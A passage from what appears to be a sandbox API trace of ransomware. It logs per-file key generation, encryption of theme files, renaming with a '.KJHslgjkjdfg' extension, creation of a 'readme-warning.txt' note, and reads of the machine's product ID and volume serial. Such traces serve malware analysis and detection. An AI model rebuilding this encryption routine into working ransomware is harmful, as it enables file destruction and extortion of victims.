hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.879] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.879] GetProcessHeap () returned 0x990000 [0177.880] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.880] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.880] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.880] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.880] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.880] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.880] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.880] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.880] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.881] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7ce7, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x7ce7, lpOverlapped=0x0) returned 1 [0177.940] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7cf0, dwBufLen=0x7cf0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x7cf0) returned 1 [0177.941] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.941] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x7cf0, lpOverlapped=0x0) returned 1 [0177.941] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.941] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.941] SetEndOfFile (hFile=0x12c) returned 1 [0177.944] GetProcessHeap () returned 0x990000 [0177.944] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.944] GetProcessHeap () returned 0x990000 [0177.945] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0177.956] CloseHandle (hObject=0x12c) returned 1 [0177.957] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7ce7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0177.957] GetProcessHeap () returned 0x990000 [0177.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.957] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0177.957] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.957] GetProcessHeap () returned 0x990000 [0177.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0177.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.957] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0177.957] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.957] GetProcessHeap () returned 0x990000 [0177.957] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0177.957] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.957] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0177.957] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.958] GetProcessHeap () returned 0x990000 [0177.958] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0177.958] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.958] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0177.958] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.958] GetProcessHeap () returned 0x990000 [0177.958] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0177.958] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.958] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0177.958] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.958] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0177.959] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0177.959] RegCloseKey (hKey=0x12c) returned 0x0 [0177.959] GetProcessHeap () returned 0x990000 [0177.959] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0177.959] GetProcessHeap () returned 0x990000 [0177.959] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0177.959] GetProcessHeap () returned 0x990000 [0177.959] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0177.959] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0177.959] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0177.959] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.959] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0177.959] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0177.960] GetProcessHeap () returned 0x990000 [0177.960] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0177.960] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0177.960] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0177.960] GetProcessHeap () returned 0x990000 [0177.960] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0177.960] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\readme-warning.txt") returned 81 [0177.960] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.960] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0177.962] CloseHandle (hObject=0x12c) returned 1 [0177.962] GetProcessHeap () returned 0x990000 [0177.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0177.962] GetProcessHeap () returned 0x990000 [0177.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0177.962] GetProcessHeap () returned 0x990000 [0177.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0177.962] GetProcessHeap () returned 0x990000 [0177.962] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.962] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0177.963] GetProcessHeap () returned 0x990000 [0177.963] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0177.963] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0177.963] GetProcessHeap () returned 0x990000 [0177.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x90) returned 0x9b0940 [0177.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0177.963] GetProcessHeap () returned 0x990000 [0177.963] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0177.963] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0177.963] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0177.963] GetProcessHeap () returned 0x990000 [0177.963] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x292) returned 0x9b1eb0 [0177.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.964] GetProcessHeap () returned 0x990000 [0177.964] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.964] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.964] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.964] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0177.967] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.967] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.967] GetProcessHeap () returned 0x990000 [0177.967] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.967] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.967] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.967] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.967] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.967] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.967] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.967] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.967] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.968] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.968] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.968] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1004, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1004, lpOverlapped=0x0) returned 1 [0177.969] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1010, dwBufLen=0x1010 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1010) returned 1 [0177.969] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.969] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1010, lpOverlapped=0x0) returned 1 [0177.969] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.969] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.969] SetEndOfFile (hFile=0x12c) returned 1 [0177.972] GetProcessHeap () returned 0x990000 [0177.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.972] GetProcessHeap () returned 0x990000 [0177.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.kjhslgjkjdfg")) returned 1 [0177.975] CloseHandle (hObject=0x12c) returned 1 [0177.975] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x225d7800, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x225d7800, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x11e37, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE.ELM", cAlternateFileName="")) returned 1 [0177.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.976] GetProcessHeap () returned 0x990000 [0177.976] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.976] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.976] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.976] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x9, lpOverlapped=0x0) returned 1 [0177.978] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.978] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.978] GetProcessHeap () returned 0x990000 [0177.978] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.978] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.978] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.978] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.979] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.979] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.979] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.979] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.979] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.979] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.979] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.979] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.979] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11e37, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x11e37, lpOverlapped=0x0) returned 1 [0177.981] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x11e40, dwBufLen=0x11e40 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x11e40) returned 1 [0177.982] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.982] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11e40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x11e40, lpOverlapped=0x0) returned 1 [0177.983] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.983] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x11f14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.983] SetEndOfFile (hFile=0x12c) returned 1 [0177.985] GetProcessHeap () returned 0x990000 [0177.985] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 